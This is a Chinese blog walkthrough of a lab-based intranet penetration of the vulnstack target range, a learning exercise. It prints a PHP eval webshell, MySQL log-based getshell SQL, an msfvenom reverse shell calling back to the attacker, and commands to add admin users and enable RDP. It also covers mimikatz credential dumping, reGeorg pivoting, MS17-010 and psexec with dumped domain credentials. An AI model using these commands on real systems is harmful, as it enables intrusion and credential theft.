記一次完整的內網靶場滲透

2020-12-20 信安客

編者註：作者近期在學習內網滲透，本文圍繞學習期間靶場搭建及滲透的整個過程進行了一場詳細的分享。

一

環境搭建

1.1 靶場搭建

本次靶場：紅日 vulnstack靶機靶場下載地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

該靶場分為VM1（Windows 7）、VM2（Windows server 2003）、和VM3（Windows server 2008）三個系統，簡單的網絡拓撲圖如圖1所示：

圖1 靶場網絡拓撲圖

其中kali Linux設置為橋接模式；

Windows 7（VM1）網絡適配器1設置為橋接模式，

網絡適配器2設置為NET模式；

Windows server 2003（VM2）網絡適配器設置為NET模式；Windows server 2008（VM3）網絡適配器設置為NET模式。

此時VM1、VM2、VM3就處在2，只有VM1web伺服器能夠訪問內網，所以想要訪問Windows server 2003和Windows server 2008伺服器，就必須要先拿下Windows 7，以它為跳板進行內網的橫向滲透。

Windows 7

內網IP：192.168.52.143、255.255.255.0、192.168.52.2外網IP：192.168.1.4、255.255.255.0、192.168.1.1

Windows server 2003

IP：192.168.52.141、 255.255.255.0、 192.168.52.2

Windows server 2008

IP：192.168.52.138、 255.255.255.0、192.168.52.2攻擊機 KALI

IP：192.168.85.130、255.255.255.0、 192.168.85.255

物理機Windows 10

IP：192.168.1.13、255.255.255.0、192.168.1.1

（註：由於本次滲透不是一次性完成的，所以在以下的過程記錄中，IP可能會發生變化）

1.2 信息收集

（前提條件：我們只知道Windows 7 web伺服器的外網IP：192.168.1.4）（1）在kali Linux中使用Nmap進行埠掃描，掃描結果如圖2所示：

圖2 Nmap信息收集

目標開放25（SMTP，郵件）、80（http）、110（https）、3306（MySQL）埠；訪問80埠，是一個Yxcms的網站，如圖3：

圖3 web站點

（2）對網站進行目錄掃描，掃描結果如圖4所示：

圖4 網站目錄掃描結果

二

漏洞利用（兩種getshell方式）

2.1 yxcms後臺getshell

對整個網頁測試了一遍，並沒有發現明顯的SQL注入，在會員登錄（圖5）處注意到了URL的特點會員登錄的URL如下：http://192.168.1.4/index.php?r=member/index/login將r的參數改為admin後就到了管理員後臺登錄處（圖5，這裡其實是yxcms的默認後臺管理登錄的地址）

圖5 會員登錄

圖6 後臺管理登錄

在這裡通過BP抓包測試，發現他的驗證碼是可以重複使用的，那麼就意味著可以進行爆破，驗證碼復用測試比對圖如圖7所示：

圖7 驗證碼復用測試比對圖

經過爆破，帳號密碼是admin/123456，登入後臺

圖8 登錄後臺

在yxcms中，後臺的模板管理處可以通過插入一句話木馬進行getshell在前臺模板->管理模板文件->index_index.php處編輯，插入一句話木馬（圖9）

圖9 插入一句話木馬

使用菜刀連接後即可getshell，經過查詢後是具有系統權限（圖10、11）

圖10 菜刀連接

圖11 當前權限查詢

2.2 PHPmyadmin後臺getshell

在前面的信息收集過程中，我們發現了一個phpmyadmin的目錄，訪問後並嘗試弱口令登錄，經過測試帳號密碼都是root（圖12）

圖12 PHPmyadmin後臺管理

在這裡可以通過開啟全局日誌的方式getshell，在SQL語句中執行以下兩條命令：

set global general_log=on;# 開啟日誌set global general_log_file='C:/phpstudy/www/v01cano.php';# 設置日誌位置為網站目錄

然後使用

SHOW VARIABLES LIKE '%general%'

查看一下命令是否成功執行（圖13）

圖13 查看命令是否執行成

通過執行SQL語句：

select "<?php eval($_POST[apple]);?>"

插入一句話木馬即可getshell（圖14、15）

圖14 成功插入一句話木馬

圖15 菜刀成功連接

三

內網滲透

3.1 嘗試遠程登錄

在獲取webshell後，查看當前權限以及3389埠開放情況。經過查詢，當前為系統權限，但是3389埠並沒有開放，可以通過以下指令來開啟3389埠（適用於win7、win2003、winxp，關閉命令把如下0都換成1即可），如圖16。

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

圖16 開啟389埠

添加用戶並添加到管理員組中，如圖17所示

net user yuuki !@#QWE123 /add # 添加帳戶密碼net localgroup administrators yuuki /add # 給test帳戶添加為管理員權限net user # 查詢是否成功添加yuuki用戶

圖17 添加帳戶並添加到管理員組中

使用我們添加的帳戶進行遠程登錄，但是提示無法連接（帳後密碼都對，3389也處於開啟狀態）。通過Nmap掃描3389，發現埠狀態是filtered，如圖18。（這裡查看靶機防火牆後，發現通過防火牆開啟了阻止所有與未在允許程序列表中的程序的連接，換句話說，設置了白名單，只能本地連接。）

圖18 3389埠狀態

此時可以有兩種思路：（1）通過MSF或CobaltStrike反彈一個shell，然後關閉防火牆；（2）嘗試使用隧道連接3389.

3.2 MSF反彈shell

嘗試通過MSF生成木馬文件上傳至伺服器，然後在MSF上進行監聽，如圖19、20。生成反彈shell程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=4444 -f exe > shell.exe

通過菜刀上傳至伺服器，並運行起來。

圖19 生成木馬文件

在kali Linux中運行起來msf，設置監聽的模塊

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.1.20set lport 4433run

圖20 監聽到返回的shell

3.3 使用隧道連接3389

嘗試通過隧道方式連接3389，在Sunny-Ngrok的官網 https://www.ngrok.cc/ 註冊一個帳號（可以通過這個軟體實現使用外鏈訪問電腦本地項目的功能），登錄之後選擇隧道管理->開通隧道->選擇一個伺服器（frp或者ngrok）->開通隧道並獲得一個隧道id->下載客戶端->打開客戶端啟動工具->輸入隧道id->本地遠程登錄。開通隧道時隧道名稱隨意寫，本地埠寫想要轉發出去的計算機IP及埠（可以為區域網內任意機器映射，這裡填入想要轉發的win7的IP及埠）

圖21 創建隧道

圖22 啟動Sunny-Ngrok工具

本地填入域名埠遠程連接，可以成功登陸，關閉防火牆。（Sunny-Ngrok啟動工具需要一直開著）

圖23 遠程連接

3.4 使用CobaltStrike生成後門並連接

通過mimikatz抓取密碼，圖24、25

圖24 啟動mimikatz

圖25 抓取到了帳號密碼

3.5 域信息搜集

可以通過以下的一些常用命令進行信息收集

net time /domain #查看時間伺服器，判斷主域，主域伺服器都做時間伺服器net user /domain #查看域用戶net view /domain #查看有幾個域ipconfig /all #查詢本機IP段，所在域等 net config Workstation #當前計算機名，全名，用戶名，系統版本，工作站域，登陸域 net user #本機用戶列表net group "domain computers" /domain #查看域內所有的主機名 net group "domain admins" /domain #查看域管理員 net group "domain controllers" /domain #查看域控net localhroup administrators #本機管理員[通常含有域用戶]net user 用戶名 /domain #獲取指定用戶的帳戶信息 net group /domain #查詢域裡面的工作組 net group 組名 /domain #查詢域中的某工作組

最終，通過信息收集，獲取到了如下信息：域：owa.god.org域內的用戶：Administrator、Guest、krbtgt、ligang、liukaifeng01域內的主機：owa、ROOT-TVI862UBEH、STU1域控：owaWindows 7的內網IP：192.168.52.143 255.255.255.0 192.168.52.2

四

橫向滲透

4.1 添加路由、掛Socks4a代理

添加路由的目的是為了讓MSF其他模塊能訪問內網的其他主機，即52網段的攻擊流量都通過已滲透的這臺目標主機的meterpreter會話來傳遞；添加socks4a代理的目的是為了讓其他軟體更方便的訪問到內網的其他主機的服務；（註：添加路由一定要在掛代理之前，因為代理需要用到路由功能）（1）添加內網路由

圖26 添加路由

使用arp -a 查看一下所有接口的當前ARP緩存

圖27 ARP緩存

（2）設置代理，設置成功後打開其他程序時都要在前面加上proxychains通過reGeorge+socks4的方式添加代理。

首先是reGeorge的安裝，下載：https://github.com/sensepost/reGeorg

運行序偶需要的環境：Python、pip、urllib3；

pip安裝（kali2020）：wget https://bootstrap.pypa.io/get-pip.pypython get-pip.py

urllib3安裝：pip install urllib3

首先，Windows7的靶機是php環境，將reGeorge中的tunnel.nosocket.php上傳至網站，並訪問

圖28 訪問tunnel.nosocket.php

之後在kali中執行命令：

python reGeorgSocksProxy.py -p 1080 -u http://192.168.1.4/tunnel.nosocket.php #表示本地1080埠的流量都轉發給指定的那個url，1080是指定的監聽埠；

然後配置proxychains代理鏈的配置文件/etc/proxychains.conf，將代理設置成本機的1080埠：socks4 127.0.0.1 1080

然後命令前面加上proxychains即可。如：proxychains curl http://192.168.52.139

圖29 啟動reGeorg

圖30 設置代理

圖31 訪問內網測試

圖32 訪問內網測試

4.2 拿下第二臺主機

前面添加好代理後，對141主機進行埠掃描

圖33 使用Nmap進行埠掃描

圖34 開放了445埠

開放了445埠，所以利用use auxiliary/scanner/smb/smb_version 可以掃描系統版本，掃描結果是Windows server 2003

圖35 系統識別

這裡可以通過MS17_010進行遠程命令執行，添加用戶並添加到管理員組中，開啟3389埠。

圖36 加載攻擊模塊

圖37 設置配置信息

圖38 執行成功

使用同樣的方法添加帳戶，添加到管理員組

use auxiliary/admin/smb/ms17_010_commandshow options #查看配置set rhosts 192.168.52.141 #指定靶機IPset command net user test @!FuckSEC!@ /add #添加用戶run #成功執行set command net localgroup administrators test /add #管理員權限run #成功執行set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #開啟3389埠run #成功執行

圖39 遠程登錄

因為主機開啟了135埠，所以也可以使用MS03_026

use exploit/windows/dcerpc/ms03_026_dcom

圖40 加載攻擊載荷

因為我們添加了代理，所以應該選用正向shell

set payload windows/meterpreter/bind_tcp

針對141主機

圖41 選擇監聽payload

圖42 獲取session會話

4.3 拿下域控域控的IP位址是192.168.52.138，經過Nmap掃描後同樣開放著445埠，使用use auxiliary/scanner/smb/smb_version 掃描系統版本，掃描結果是Windows server 2008

圖43 掃描系統版本

前面我們抓取到了域控的帳號密碼，如圖25，可以通過use exploit/windows/smb/psexec模塊進行攻擊獲取session

use exploit/windows/smb/psexecset rhosts 192.168.52.138set smbdomain GOD.ORGset smbuser Administratorset smbpass hongrisec@2020set payload windows/meterpreter/bind_tcp（這裡使用正向代理）run

圖44 成功獲取session

至此，所有的操作完成，成功拿下了三臺伺服器。

原創不易，如果您覺得不錯，動動發財的小手指，點個讚，轉發分享

相關焦點

  • 內網滲透|ATT&CK紅隊評估實戰靶場-2
    0x00：寫在前面補一下靶場環境win7：192.168.0.102(橋接網卡）192.168.52.143（Nat網卡） VM1win2003：192.168.52.141（Nat網卡，如上期所說，此靶場難度為易，非常適合練習內網滲透各種姿勢！
  • 首屆ISW 2017企業內網安全實戰靶場對抗賽落幕
    2017年9月5日，由教育部高等學校信息安全專業教學指導委員會和國家信息中心國信衛士網絡空間安全研究院作為指導單位，移動網際網路系統與應用安全國家工程實驗室主辦，廣州錦行網絡科技有限公司和北京永信至誠科技股份有限公司聯合承辦的首屆ISW 2017企業內網安全實戰靶場對抗賽在北京圓滿落下帷幕。國內十支優秀的黑客團隊齊聚北京，共同參加了這場持續30小時不間斷的企業內網靶場實戰大比拼。
  • 砥兵礪伍 ISW 2017企業內網安全實戰靶場對抗賽圓滿落幕
    9月5日，由教育部高等學校信息安全專業教學指導委員會和國家信息中心國信衛士網絡空間安全研究院作為指導單位，移動網際網路系統與應用安全國家工程實驗室主辦，廣州錦行網絡科技有限公司和北京永信至誠科技股份有限公司聯合承辦的首屆ISW 2017企業內網安全實戰靶場對抗賽在北京圓滿落下帷幕。國內十支優秀的黑客團隊齊聚北京，共同參加了這場持續30小時不間斷的企業內網靶場實戰大比拼。
  • ISW 2017企業內網安全實戰靶場對抗賽圓滿落幕
    為了提高企業自身內網安全防範意識，幫助企業認識常見的內網滲透過程和攻擊手段，錦行科技提煉了其多年網絡安全攻防經驗與幻雲研發過程中積累的底層虛擬化技術，聯手永信至誠在靶場平臺研發方面的優勢和多年來積累的豐富的大型信息安全賽事支持經驗，雙方傾力數月共同打造了本屆ISW企業內網安全實戰靶場對抗賽中的真實內網場景，首次開創了一種不同於傳統 CTF的新型比賽模式——靶場實戰演習模式，全面還原了真實的內網滲透場景
  • Web安全:內網滲透工具
    在網絡空間中，大部分的安全問題都源自內網。事實上，黑客們一般談論的滲透都是指內網的滲透（包括外網等公開的網絡空間），即黑客在獲取目標網站的webshell並進入內網以後，就可通過內網滲透工具不斷提升自己權限，以達到控制整個內網的目的。
  • 賽寧談靶場–面向實戰的網絡靶場體系
    提供信息安全基礎、信息內容安全、密碼學、計算機信息系統安全、軟體安全、網絡安全、訓練靶場、信息科學技術基礎、CTF安全攻防、移動終端安全等方向課程，由基礎到進階，循序漸進、科學合理。通過大數據精準分析，形成完整的人才能力評價體系，學員通過體系化的學習可快速提高安全技能。
  • 域滲透之靶場實戰
    前言最近，要做一個技術沙龍，本來想分享一下安全研究的一些心得，但是好久之前想做一個域滲透的一個深入總結，但是一直擱置，借這個機會對域滲透的技巧總結一下！算是給自己一個交代:)正文這裡用的是搭建好的一個域環境，吐槽:這個是真的大，下了好久~拓撲如下：環境說明內網網段：10.10.10.1/24DMZ網段：192.168.111.1
  • 永信至誠e春秋網絡靶場助力2019「巔峰極客」技能挑戰賽圓滿收官
    實戰出發，應急演習淬鍊真人才總決賽共20支隊伍，分五種角色：10支線上晉級隊和2支特邀戰隊組成滲透測試團隊，在城市靶場中，針對廣誠市電力系統進行不限制技術手段的滲透測試，向社會各界立體化展示城市網絡遭受攻擊之後誘發的連鎖反應和種種問題；由競賽裁判、靶場系統運維、關鍵信息基礎設施防禦、網安監管四大角色
  • 記一次時間間隔一年的滲透經歷
    前言正如標題所寫，這次滲透中間的時間間隔長達一年，為什麼說是一年呢，是因為我在去年剛剛接觸到漏洞盒子的時候曾經提交過這個漏洞。當時平臺顯示漏洞已修復並且可公開細節，所以我就沒再深入的研究，就在昨天我無聊翻動漏洞列表的時候，我發現這個漏洞竟然還未修復，於是就有了進一步測試的想法。
  • 讓錯發生在靶場|網絡靶場:構築「檢驗性」安全防禦體系
    本文將介紹網絡靶場的建設背景、主要應用場景及技術支撐，希望各行業可以通過網絡靶場提升綜合安全能力，「讓錯發生在靶場」，構築「檢驗性」安全防禦體系，也希望有更多人加入網絡靶場的建設和運營中，共同守護國家網絡空間安全。在中國實戰化演習的戰略高地上，有一面鮮紅的旗幟——朱日和。
  • 前沿|網絡靶場,未來安全的基礎設施
    目前，網絡靶場即是一種有效的手段，「讓錯發生在靶場」，它可以讓各種潛在的風險威脅暴露出來，讓可能對系統造成的損失發生在靶場，提前發現、排除隱患，從而讓網絡具有更強的免疫力。網絡靶場不只是演練從2010年開始，北約每年都會進行「鎖盾」網絡安全攻防演習。
  • 兼三合而成靶場,網絡空間展鷹揚
    英國的網絡靶場主要包括聯邦網絡實驗靶場及Breaking point系統。英國聯邦網絡實驗靶場是英國第一個商業的網絡實驗平臺，被用來模擬大型複雜網絡，並在安全可控的試驗環境下進行基礎設計生存能力和可靠性方面的網絡試驗及評估，以評價它們對網絡攻擊的承受能力。
  • 數世諮詢:奇安信網絡靶場市場執行力位列第一
    數世諮詢《網絡靶場能力指南》：網絡靶場能力點陣圖數世諮詢認為，網絡靶場是基於虛擬化技術，對真實網絡空間中的網絡架構、系統設備、業務流程的運行狀態及運行環境進行模擬和復現的技術或產品，以更有效地實現與網絡安全相關的學習、研究、檢驗、競賽、演習等行為，從而提高人員及機構的網絡安全對抗水平。
  • 奇安信入選《網絡靶場能力指南》 位列市場執行力第一
    數世諮詢《網絡靶場能力指南》：網絡靶場能力點陣圖數世諮詢認為，網絡靶場是基於虛擬化技術，對真實網絡空間中的網絡架構、系統設備、業務流程的運行狀態及運行環境進行模擬和復現的技術或產品，以更有效地實現與網絡安全相關的學習
  • 寧波擬建「工控安全靶場」
    本報訊（記者殷聰）前天上午，寧波工業網際網路研究院「工控安全靶場」建設方案專家論證會在甬召開。專家組一致認為，在甬建設「工控安全靶場」必要性強，建設方案可行，並為「工控安全靶場」的進一步落地明確了方向。    「工控安全靶場」即工業控制系統網絡安全攻防演訓靶場，它將承擔研發工控安全防護技術工具集，加強分區隔離、安全交換、協議管控等關鍵技術攻關。
  • 讓靶場離實戰近些再近些
    軍事訓練的要旨之一就是要跨越時空，由「靶場」向「戰場」移位、穿越，從「靶場思維」走向「戰場思維」，讓「戰場思維」成為建設世界一流軍隊的強勁助推。　　從「打靶」到「打仗」的作戰理念之變，折射著我軍實戰化訓練向縱深推進所取得的可喜進步。可以說，靶場是檢驗部隊訓練水平和實戰能力的重要「關卡」。　　恩格斯說過，真正的練兵場是在敵人面前。
  • 32小時「黑客」圍城 城市靶場再現攻防
    32小時「黑客」圍城 城市靶場再現攻防　　本報記者 劉 豔　　「城市靶場」的新理念給了「2018國家網絡安全宣傳周」一個華麗的開場。　　9月15日—16日，在我國首個城市網絡空間仿真靶場，30支戰隊組成的「滲透者」向「廣誠市」發起攻擊，32小時後，14支防禦團隊聯合擊退了圍城「黑客」。
  • 合天網絡靶場能力詳解
    合天網絡靶場是針對網絡攻防競演和網絡新技術評測檢驗的重要基礎設施，用來提高網絡和信息系統的穩定性、安全性和性能。合天網絡靶場由計算存儲服務資源和網絡資源、大規模網絡仿真平臺、網絡服務與用戶行為模擬平臺、試驗數據採集與評估平臺、系統安全與管理平臺等部分組成。靶場用戶一般分為白方、紅方、藍方、綠方和黃方五類角色。
  • 乾貨|滲透測試新手學習筆記 建議收藏
    第二部分按照常見的滲透測試的順序，對信息收集、常見的Web漏洞、常見語言與框架、內網滲透的技巧等進行了簡單的講述，開始學習滲透測試之後通常會接觸到這部分內容。第三部分回到防禦的視角，從安全團隊的建設、威脅情報與風控等視角進行了描述，也對蜜罐、溯源等較為細節的技術內容作了一定說明。最後一部分推薦了一些工具與資源列表，也歸檔了一部分暫時沒有分類的內容。